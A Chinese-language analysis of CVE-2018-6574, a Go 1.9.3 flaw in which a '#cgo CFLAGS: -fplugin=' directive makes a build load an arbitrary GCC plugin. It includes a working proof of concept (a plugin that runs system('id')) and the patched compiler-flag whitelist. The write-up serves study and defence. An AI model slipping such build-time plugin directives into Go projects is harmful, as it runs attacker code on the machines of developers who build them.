CVE-2018-6574(Go 语言任意代码执行漏洞)分析
1. 测试环境
| 软件 | 版本 |
|---|---|
| 操作系统 | CentOS 7.4 |
| GCC | 4.8.5 |
| Go | 1.9.3 |
Go 1.9.3 下载地址:https://dl.google.com/go/go1.9.3.linux-386.tar.gz
2. 漏洞分析
Go 语言支持内嵌 C 语言代码的功能,若是将 C 代码放在注释中,Go 编译时会调用 cgo 来处理 C 代码。举一个例子:
// filename: test.go
package main
/*
#include <stdio.h>
void hello_world(){
printf("hello world\n");
}
*/
import "C"
func main() {
C.hello_world()
}
编译、执行如下:
$ go build test.go $ ./test hello world
对于 cgo,支持指定 GCC 的参数,详细可见 cgo 的文档:https://golang.org/cmd/cgo/。
但是 cgo 没有对参数进行任何限制,本次漏洞利用,就用到了 GCC 的插件功能,指定 -fplugin 参数可在编译过程中指定加载其他 .so 文件,因此达到了执行任意代码的目的。
首先,我们先写一个动态链接库来做 GCC 的插件:
/* compile: gcc -shared -o poc.so -fPIC poc.c */ #include <stdlib.h> int plugin_is_GPL_compatible = 1; void plugin_init() { system("id"); }
然后编译:
$ gcc -shared -o poc.so -fPIC poc.c
接修改 test.go,并在注释里加上编译选项:
#cgo linux CFLAGS: -fplugin=/home/lu4nx/Downloads/poc.so
修改之后的完整代码如下:
// filename: test.go
package main
/*
#cgo linux CFLAGS: -fplugin=/home/lu4nx/Downloads/poc.so
#include <stdio.h>
void hello_world(){
printf("hello world\n");
}
*/
import "C"
func main() {
C.hello_world()
}
最后编译 Go 代码:
$ go build test.go # command-line-arguments uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # command-line-arguments uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # command-line-arguments uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
可见成功加载了之前编译的动态链接库,并执行了 id 命令。
3. 官方修复补丁
修复公告见:https://github.com/golang/go/issues/23672
以 1.9.4 补丁为例,主要在 src/cmd/go/internal/work/security.go 增加了对编译选项的限制,只允许使用部分编译选项:
var validCompilerFlags = []*regexp.Regexp{
re(`-D([A-Za-z_].*)`),
re(`-I([^@\-].*)`),
re(`-O`),
re(`-O([^@\-].*)`),
re(`-W`),
re(`-W([^@,]+)`), // -Wall but not -Wa,-foo.
re(`-f(no-)?objc-arc`),
re(`-f(no-)?omit-frame-pointer`),
re(`-f(no-)?(pic|PIC|pie|PIE)`),
re(`-f(no-)?split-stack`),
re(`-f(no-)?stack-(.+)`),
re(`-f(no-)?strict-aliasing`),
re(`-fsanitize=(.+)`),
re(`-g([^@\-].*)?`),
re(`-m(arch|cpu|fpu|tune)=([^@\-].*)`),
re(`-m(no-)?stack-(.+)`),
re(`-mmacosx-(.+)`),
re(`-mnop-fun-dllimport`),
re(`-pthread`),
re(`-std=([^@\-].*)`),
re(`-x([^@\-].*)`),
}
checkCompilerFlags 函数用来验证编译选项,它会把定义在 validCompilerFlags 里的规则最终传递到 checkFlags 函数来验证。
checkFlags 会根据环境变量定义的规则以及 validCompilerFlags 定义的规则来判断编译选项的合法性。两个函数实现如下:
func checkCompilerFlags(name, source string, list []string) error {
return checkFlags(name, source, list, validCompilerFlags, validCompilerFlagsWithNextArg)
}
func checkFlags(name, source string, list []string, valid []*regexp.Regexp, validNext []string) error {
var (
allow *regexp.Regexp
disallow *regexp.Regexp
)
// 从环境变量中获取允许的编译选项
if env := os.Getenv("CGO_" + name + "_ALLOW"); env != "" {
r, err := regexp.Compile(env)
if err != nil {
return fmt.Errorf("parsing $CGO_%s_ALLOW: %v", name, err)
}
allow = r
}
// 从环境变量中获取禁止使用的编译选项
if env := os.Getenv("CGO_" + name + "_DISALLOW"); env != "" {
r, err := regexp.Compile(env)
if err != nil {
return fmt.Errorf("parsing $CGO_%s_DISALLOW: %v", name, err)
}
disallow = r
}
Args:
for i := 0; i < len(list); i++ {
arg := list[i]
// 检查环境变量指定的黑名单
if disallow != nil && disallow.FindString(arg) == arg {
goto Bad
}
// 检查环境变量指定的白名单
if allow != nil && allow.FindString(arg) == arg {
continue Args
}
// 后面就是检查 Go 默认允许的编译选项了
for _, re := range valid {
if re.FindString(arg) == arg {
continue Args
}
}
for _, x := range validNext {
if arg == x {
if i+1 < len(list) && load.SafeArg(list[i+1]) {
i++
continue Args
}
if i+1 < len(list) {
return fmt.Errorf("invalid flag in %s: %s %s", source, arg, list[i+1])
}
return fmt.Errorf("invalid flag in %s: %s without argument", source, arg)
}
}
Bad:
return fmt.Errorf("invalid flag in %s: %s", source, arg)
}
return nil
}